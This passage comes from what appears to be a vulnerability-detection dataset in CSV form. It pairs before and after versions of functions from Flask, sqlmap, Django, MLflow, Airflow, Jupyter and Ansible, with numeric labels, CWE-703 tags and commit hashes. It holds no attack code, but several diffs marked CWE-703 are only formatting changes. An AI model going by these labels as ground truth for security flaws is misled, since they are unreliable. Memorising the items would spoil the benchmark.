force_external=external)
finally:
if old_scheme is not None:
url_adapter.url_scheme = old_scheme
except BuildError as error:
# We need to inject the values again so that the app callback can
# deal with that sort of stuff.
values['_external'] = external
values['_anchor'] = anchor
values['_method'] = method
values['_scheme'] = scheme
return appctx.app.handle_url_build_error(error, endpoint, values)
if anchor is not None:
rv += '#' + url_quote(anchor)
return rv"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,extra/socks/socks.py,0,"def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
source_address=None):
""""""
Patched for DNS-leakage
""""""
host, port = address
sock = None
try:
sock = socksocket(socket.AF_INET, socket.SOCK_STREAM)
if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT:
sock.settimeout(timeout)
if source_address:
sock.bind(source_address)
sock.connect(address)
except socket.error:
if sock is not None:
sock.close()
raise
return sock",,sqlmapproject/sqlmap,408d12dc416cd49de61ba25f4e61f8006d864f20,"def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
source_address=None):
""""""
Patched for DNS-leakage
""""""
host, port = address
err = None
sock = None
try:
sock = socksocket(socket.AF_INET, socket.SOCK_STREAM)
if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT:
sock.settimeout(timeout)
if source_address:
sock.bind(source_address)
sock.connect(address)
return sock
except error as _:
err = _
if sock is not None:
sock.close()
if err is not None:
raise err"
,UNKNOWN,UNKNOWN,django/contrib/admin/views/decorators.py,1,"def _checklogin(request, *args, **kwargs):
if request.user.is_active and request.user.is_staff:
# The user is valid. Continue to the admin page.
return view_func(request, *args, **kwargs)
assert hasattr(request, 'session'), ""The Django admin requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""
# If this isn't already the login page, display it.
if LOGIN_FORM_KEY not in request.POST:
if request.POST:
message = _(""Please log in again, because your session has expired."")
else:
message = """"
return _display_login_form(request, message)
# Check that the user accepts cookies.
if not request.session.test_cookie_worked():
message = _(""Looks like your browser isn't configured to accept cookies. Please enable cookies, reload this page, and try again."")
return _display_login_form(request, message)
else:
request.session.delete_test_cookie()
# Check the password.
username = request.POST.get('username', None)
password = request.POST.get('password', None)
user = authenticate(username=username, password=password)
if user is None:
message = ERROR_MESSAGE
if '@' in username:
# Mistakenly entered e-mail address instead of username? Look it up.
users = list(User.objects.filter(email=username))
if len(users) == 1 and users[0].check_password(password):
message = _(""Your e-mail address is not your username. Try '%s' instead."") % users[0].username
return _display_login_form(request, message)
# The user data is correct; log in the user in and continue.
else:
if user.is_active and user.is_staff:
login(request, user)
return http.HttpResponseRedirect(request.get_full_path())
else:
return _display_login_form(request, ERROR_MESSAGE)",CWE-703,django/django,a607d9d34546a4ff9313d431e275ed0bf365d42a,"def _checklogin(request, *args, **kwargs):
if request.user.is_active and request.user.is_staff:
# The user is valid. Continue to the admin page.
return view_func(request, *args, **kwargs)
assert hasattr(request, 'session'), ""The Django admin requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""
# If this isn't already the login page, display it.
if LOGIN_FORM_KEY not in request.POST:
if request.POST:
message = _(""Please log in again, because your session has expired."")
else:
message = """"
return _display_login_form(request, message)
# Check that the user accepts cookies.
if not request.session.test_cookie_worked():
message = _(""Looks like your browser isn't configured to accept cookies. Please enable cookies, reload this page, and try again."")
return _display_login_form(request, message)
else:
request.session.delete_test_cookie()
# Check the password.
username = request.POST.get('username', None)
password = request.POST.get('password', None)
user = authenticate(username=username, password=password)
if user is None:
message = ERROR_MESSAGE
if '@' in username:
# Mistakenly entered e-mail address instead of username? Look it up.
users = list(User.objects.filter(email=username))
if len(users) == 1 and users[0].check_password(password):
message = _(""Your e-mail address is not your username. Try '%s' instead."") % users[0].username
else:
# Either we cannot find the user, or if more than 1
# we cannot guess which user is the correct one.
message = _(""Usernames cannot contain the '@' character."")
return _display_login_form(request, message)
# The user data is correct; log in the user in and continue.
else:
if user.is_active and user.is_staff:
login(request, user)
return http.HttpResponseRedirect(request.get_full_path())
else:
return _display_login_form(request, ERROR_MESSAGE)"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_client.py,1,"def test_client_logs_expected_run_data():
client = MlflowAutologgingQueueingClient()
params_to_log = {
f""param_key_{i}"": f""param_val_{i}"" for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
}
tags_to_log = {
f""tag_key_{i}"": f""tag_val_{i}"" for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
}
metrics_to_log = {f""metric_key_{i}"": i for i in range((4 * MAX_METRICS_PER_BATCH) + 1)}
with mlflow.start_run(run_name=""my name"") as run:
client.log_params(run_id=run.info.run_id, params=params_to_log)
client.set_tags(run_id=run.info.run_id, tags=tags_to_log)
client.log_metrics(run_id=run.info.run_id, metrics=metrics_to_log)
client.flush()
run_params, run_metrics, run_tags = get_run_data(run.info.run_id)
assert run_params == params_to_log
assert run_metrics == metrics_to_log
assert run_tags == tags_to_log
assert run.info.run_name == ""my name""",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_client_logs_expected_run_data():
client = MlflowAutologgingQueueingClient()
params_to_log = {
""param_key_{}"".format(i): ""param_val_{}"".format(i)
for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
}
tags_to_log = {
""tag_key_{}"".format(i): ""tag_val_{}"".format(i)
for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
}
metrics_to_log = {""metric_key_{}"".format(i): i for i in range((4 * MAX_METRICS_PER_BATCH) + 1)}
with mlflow.start_run(run_name=""my name"") as run:
client.log_params(run_id=run.info.run_id, params=params_to_log)
client.set_tags(run_id=run.info.run_id, tags=tags_to_log)
client.log_metrics(run_id=run.info.run_id, metrics=metrics_to_log)
client.flush()
run_params, run_metrics, run_tags = get_run_data(run.info.run_id)
assert run_params == params_to_log
assert run_metrics == metrics_to_log
assert run_tags == tags_to_log
assert run.info.run_name == ""my name"""
,UNKNOWN,UNKNOWN,helm_tests/other/test_statsd.py,1,"def test_should_create_statsd_default(self):
docs = render_chart(show_only=[""templates/statsd/statsd-deployment.yaml""])
assert jmespath.search(""metadata.name"", docs[0]) == ""release-name-statsd""
assert jmespath.search(""spec.template.spec.containers[0].name"", docs[0]) == ""statsd""
assert {""name"": ""config"", ""configMap"": {""name"": ""release-name-statsd""}} in jmespath.search(
""spec.template.spec.volumes"", docs[0]
)
assert {
""name"": ""config"",
""mountPath"": ""/etc/statsd-exporter/mappings.yml"",
""subPath"": ""mappings.yml"",
} in jmespath.search(""spec.template.spec.containers[0].volumeMounts"", docs[0])
default_args = [""--statsd.mapping-config=/etc/statsd-exporter/mappings.yml""]
assert default_args == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_create_statsd_default(self):
docs = render_chart(show_only=[""templates/statsd/statsd-deployment.yaml""])
assert ""release-name-statsd"" == jmespath.search(""metadata.name"", docs[0])
assert ""statsd"" == jmespath.search(""spec.template.spec.containers[0].name"", docs[0])
assert {""name"": ""config"", ""configMap"": {""name"": ""release-name-statsd""}} in jmespath.search(
""spec.template.spec.volumes"", docs[0]
)
assert {
""name"": ""config"",
""mountPath"": ""/etc/statsd-exporter/mappings.yml"",
""subPath"": ""mappings.yml"",
} in jmespath.search(""spec.template.spec.containers[0].volumeMounts"", docs[0])
default_args = [""--statsd.mapping-config=/etc/statsd-exporter/mappings.yml""]
assert default_args == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/filenbmanager.py,0,"def get_notebook_names(self, path=''):
""""""List all notebook names in the notebook dir and path.""""""
path = path.strip('/')
if not os.path.isdir(self.get_os_path(path=path)):
raise web.HTTPError(404, 'Directory not found: ' + path)
names = glob.glob(self.get_os_path('*'+self.filename_ext, path))
names = [os.path.basename(name)
for name in names]
return names",,jupyter/notebook,3306e386d60889f0003f502bd5958d65ff5c6877,"def get_notebook_names(self, path=''):
""""""List all notebook names in the notebook dir and path.""""""
path = path.strip('/')
if not os.path.isdir(self.get_os_path(path=path)):
raise web.HTTPError(404, 'Directory not found: ' + path)
names = glob.glob(self.get_os_path('*'+self.filename_ext, path))
names = [os.path.basename(name)
for name in names]
return names"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/ovirt/ovirt_storage_domain.py,0,"def control_state(sd_module):
sd = sd_module.search_entity()
if sd is None:
return
sd_service = sd_module._service.service(sd.id)
# In the case of no status returned, it's an attached storage domain.
# Redetermine the corresponding service and entity:
if sd.status is None:
sd_service = sd_module._attached_sd_service(sd)
sd = get_entity(sd_service)
if sd.status == sdstate.LOCKED:
wait(
service=sd_service,
condition=lambda sd: sd.status != sdstate.LOCKED,
fail_condition=failed_state,
)
if failed_state(sd):
raise Exception(""Not possible to manage storage domain '%s'."" % sd.name)
elif sd.status == sdstate.ACTIVATING:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.ACTIVE,
fail_condition=failed_state,
)
elif sd.status == sdstate.DETACHING:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.UNATTACHED,
fail_condition=failed_state,
)
elif sd.status == sdstate.PREPARING_FOR_MAINTENANCE:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.MAINTENANCE,
fail_condition=failed_state,
)",,ansible/ansible,b6335a72f190b72cdb745f53e4d72133aa821dd0,"def control_state(sd_module):
sd = sd_module.search_entity()
if sd is None:
return
sd_service = sd_module._service.service(sd.id)
# In the case of no status returned, it's an attached storage domain.
# Redetermine the corresponding serivce and entity:
if sd.status is None:
sd_service = sd_module._attached_sd_service(sd)
sd = get_entity(sd_service)
if sd.status == sdstate.LOCKED:
wait(
service=sd_service,
condition=lambda sd: sd.status != sdstate.LOCKED,
fail_condition=failed_state,
)
if failed_state(sd):
raise Exception(""Not possible to manage storage domain '%s'."" % sd.name)
elif sd.status == sdstate.ACTIVATING:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.ACTIVE,
fail_condition=failed_state,
)
elif sd.status == sdstate.DETACHING:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.UNATTACHED,
fail_condition=failed_state,
)
elif sd.status == sdstate.PREPARING_FOR_MAINTENANCE:
wait(
service=sd_service,
condition=lambda sd: sd.status == sdstate.MAINTENANCE,
fail_condition=failed_state,
)"
,UNKNOWN,UNKNOWN,django/forms/boundfield.py,1,"def label_tag(self, contents=None, attrs=None, label_suffix=None):
""""""
Wrap the given contents in a